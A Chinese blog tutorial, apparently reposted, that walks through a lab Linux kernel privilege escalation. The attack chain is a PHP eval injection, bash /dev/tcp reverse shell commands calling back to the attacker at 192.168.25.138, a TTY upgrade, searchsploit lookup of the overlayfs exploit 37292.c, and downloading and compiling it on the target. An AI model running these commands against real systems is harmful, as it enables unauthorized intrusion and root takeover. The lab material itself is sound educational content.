当前位置: 首页 > article >正文

Linux提权篇之内核提权(三)

内核提权,顾名思义,也就是内核漏洞溢出提权,我们一般拿到webshell的时候(99.9999%都是普通用户,如果是那剩下的0.0001%,那我们也没办法,我们就偷着乐吧,因为自会有人出手,运维就不用干了),我们需要对他提权,

首先漏洞溢出提权分为两种,一种是本地溢出,另一种是远程溢出

首先本地溢出是指我们黑客向拿到webshell的目标主机发送本地溢出程序,然后在目标主机上运行,如果目标主机上存在漏洞,我们就可以拿到最高权限

其次是远程溢出是指就是我们需要与目标主机进行远程连接,然后根据系统漏洞根据相应的漏洞溢出程序来获得最高权限,就好比如说(在kail上复现永恒之蓝漏洞,就仅仅只需要输入目标主机的ip,就可以拿到最高权限)

然后我们准备实验环境 我们的攻击机kail ip 192.168.25.138

我们的Ubuntu(15.04)目标主机 ip 192.168.25.134

通过网盘分享的文件:Linux提权之内核提权

链接: 百度网盘 请输入提取码 提取码: dm8g

--来自百度网盘超级会员v3的分享

打开Ubuntu还是一样的操作(不会的可以看上一篇文章)

密码还是123456

环境配置好咋们来开始实验

首先我么你先按打开kail

输入 nc -lvnp 8888

然后打开Ubuntu

在windows主机输入

192.168.25.134

打开 点击eval函数 超链接

替换成 phpinfo()

然后我们用来开始反弹shell

还是一样的操作用bash指令

bash -i >& /dev/tcp/192.168.25.138/8888 0>&1

bash -c "bash -i >& /dev/tcp/192.168.25.138/8888 0>&1"

我们发现 有的显示不全 所以我们打开bp 进行抓包

data=system('bash -c "bash -i >& /dev/tcp/192.168.25.138/8888 0>&1"');

发送到重发模块

修改data的数值 点击发送

咋们然后返回kail 已经看到反弹shell

首先还是一样的咋们要弄一个完整的tty shell

所以咋们先搜索pyrhon 版本

这里都有 但是咋们一般都用python3 的版本

所以输入

python3 -c 'import pty;pty.spawn("/bin/bash")';

然后ctrl _+ z

放到后台

然后输入

stty -echo raw 调整格式

然后出先问题 大家看看这个问题 是不是个很熟悉

对喽 跟我们的第二篇的文章 是一样的

所以砸门要使用的是bash shell 砸门重新来一下

首先先退出

输入bash 进入bash shell

然后输入 nc -lvnp 8888 监听8888端口

然后我们在抓包 发包

看kail的回显

然后输入

python3 -c 'import pty;pty.spawn("/bin/bash")';

然后输入 ctrl + z

然后输入 stty -echo raw

然后输入 bg

在输入 fg

在摁下回车

现在所有的功能就可以用了

然后咋们就可以用第一篇学过的指令来用了

输入 uname -a 来查看内核版本

到这 我们又要要来学习新的知识了 开心吧

3.19.0-15-generic

首先我们既然复现的是内核溢出漏洞

那摩 我们就必须知道内核特定的版本有那些漏洞

所以咋们要学会搜索

首先第一

咋们可以在全球漏洞库网站来搜索(这个建议多学多看)

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploit

其次我们也可以在百度上搜索(这个方法不推荐,但是易懂,有条件的可以去谷歌)

最后我们可以在我们的kail机上用特定的指令去搜索,这是为什莫呢

因为维护kail更新的人,同时也在维护这expdoit_db这个漏洞数据库网站

所以自然而然 kail机有了比别人先天然的优势

好了 废话不多说 第三种方法是最实用的 我推荐第三种方法

首先我们在kail机上新建一个窗口

输入searchsploit

这里常用的就是 -t

也就是输入 searchspolit -t 3.19

我们通过桌面已经知道了Ubuntu的版本是15.04

当然我们也可以用指令来查看

cat etc/issue

当然也可以用着一条指令

lsb_release -a

对照版本 应该是上边的这个

我们使用

searchspolit -x 37292.c 来查询exp

使用 q 退出预览

然后我们要把exp复制到桌面上

cp /usr/share/exploitdb/exploits/linux/local/37292.c 37292.c

因为是.c文件 咋们还要进行编译

我们查看有没有gcc

不了解gcc 没关系 他就是一个编译器

GCC编译器详解-CSDN博客‘

GCC是什么? gcc与g++的区别 具体编译细节_gcc g++-CSDN博客

这里有gcc 然后我们要在Ubuntu目标主机上进行运行 所以我们还要下载到Ubuntu机子上

如果没有gcc 那麽我们就需要在我们的本机上编译好 在上传到Ubuntu目标主机上

然后我们想要下载37292.c文件 就要保证Ubuntu主机能访问kail主机

所以我们要开启本地80端口服务

新建一个窗口

python -m SimpleHttpServer 80

我们搜索问题

python3 报错 No module named SimpleHTTPServer-CSDN博客

这篇文章会告诉哦i你答案

所以我么输入

python3 -m http.server 80

一般我们使用wegt或者curl来下载文件

通常情况下 curl 都没安装

如果没有wegt

先卸载

sudo apt-get remove wget

使用以下命令来安装

sudo apt-get dist-upgrade

sudo apt-get update

sudo apt-get install wget

wget --version

没有curl 我们

apt-get install curl

来下载

所以我们使用 curl来下载

curl http://192.168.25.138/37292.c -o /tmp/37292.c

下载完成

这句话的意思是 下载到tmp目录 名字为37292.c

为什莫要下载到tmp目录呢

因为tmp目录是谁都可以修改写入的 算是一个临时目录吧

我们cd /tmp

查看是否下载好

然后我们要进行编译他

gcc 37292.c -o exp

查看ls -al exp

一般情况下我们这个文件 不存在执行权限

所以哦我们要输入

chomd +x exp

不懂这句话 我们可以参考一下一篇文章

https://xz.aliyun.com/news/7519?time__1311=Yqfxg7DQD%3D0%3DG%3DD%2FbriQ6a8W5N0Qos%3DF4D&u_atoken=abc86965843d105dc9cc8776a4623853&u_asig=0a47315217402126133913438e00b4#toc-1

然后我们开始执行

./exp

正常道理下 我们输入完我们 应该就是root权限了

因为这个个版本内核溢出漏洞不稳定 一次可以 一次不可以

所以我们只能在本机上进行bash 反弹shell

关闭之前的页面 新建一个窗口 不要关闭http80端口服务的那个

然后我们重新启动 然后·打开 Ubuntu主机

进入 tmp 目录

发现.c文件已经丢失

因为tmp目录是临时目录 开关机就消失了

我们重新建立反弹shell

bash -c "bash -i >& /dev/tcp/192.168.25.138/8888 0>&1"

然后返回kail

那个完整的tty shell

我就不再弄了 为了演示

你们自己弄的时候 要需要自己弄

我要直接开始下载了

curl http://192.168.25.138/37292.c -o /tmp/37292.c

最终演示 还是不行

我们再换另外一个bash 指令

bash -i >& /dev/tcp/192.168.25.138/8888 0>&1

还是不行

Ubuntu编译不行

我们就在本地编译 在kail

然后还是不行

博主要放弃了 反正思路只是这个思路

发证正常道理来说 最后应该出来的是 root


http://www.kler.cn/a/557743.html

相关文章:

  • Rust并发编程实践:10分钟入门系统级编程
  • reacct hook useState
  • Linux 在云计算中的应用有哪些?
  • Flutter 启动优化
  • Part 3 第十二章 单元测试 Unit Testing
  • 二叉树-翻转二叉树
  • Spring Boot项目@Cacheable注解的使用
  • 探索YOLO技术:目标检测的高效解决方案
  • ChatGPT平替自由!DeepSeek-R1私有化部署全景攻略
  • vue3 采用xlsx库实现本地上传excel文件,前端解析为Json数据
  • 【Java高级篇】——第16篇:高性能Java应用优化与调优
  • 07.Docker 数据管理
  • ok113i平台——qt+tslib支持usb触摸屏热插拔功能实现
  • 3.Docker常用命令
  • 深入解析设计模式之单例模式
  • DeepSeek与AI幻觉
  • LlamaIndex中使用本地LLM和Embedding
  • 图表控件Aspose.Diagram入门教程:使用 Python 将 VSDX 转换为 PDF
  • QEMU源码全解析 —— 内存虚拟化(17)
  • LeetCode 热题 100 283. 移动零